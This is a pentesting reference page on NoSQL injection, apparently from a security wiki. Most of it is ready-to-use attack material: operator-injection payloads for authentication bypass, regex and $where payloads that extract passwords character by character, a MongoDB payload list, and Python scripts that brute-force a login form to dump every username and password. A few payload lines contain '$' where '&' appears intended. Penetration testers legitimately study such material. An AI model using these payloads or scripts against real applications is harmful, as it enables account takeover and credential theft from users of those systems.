Physical attacks
Mobile Apps Pentesting
Pentesting

NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin$password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

in URL
username[$ne]=toto&password[$ne]=toto
username[$exists]=true&password[$exists]=true
in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found

Blind NoSQL

import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

MongoDB Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Tools

Brute-force login usernames and passwords from POST login

import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection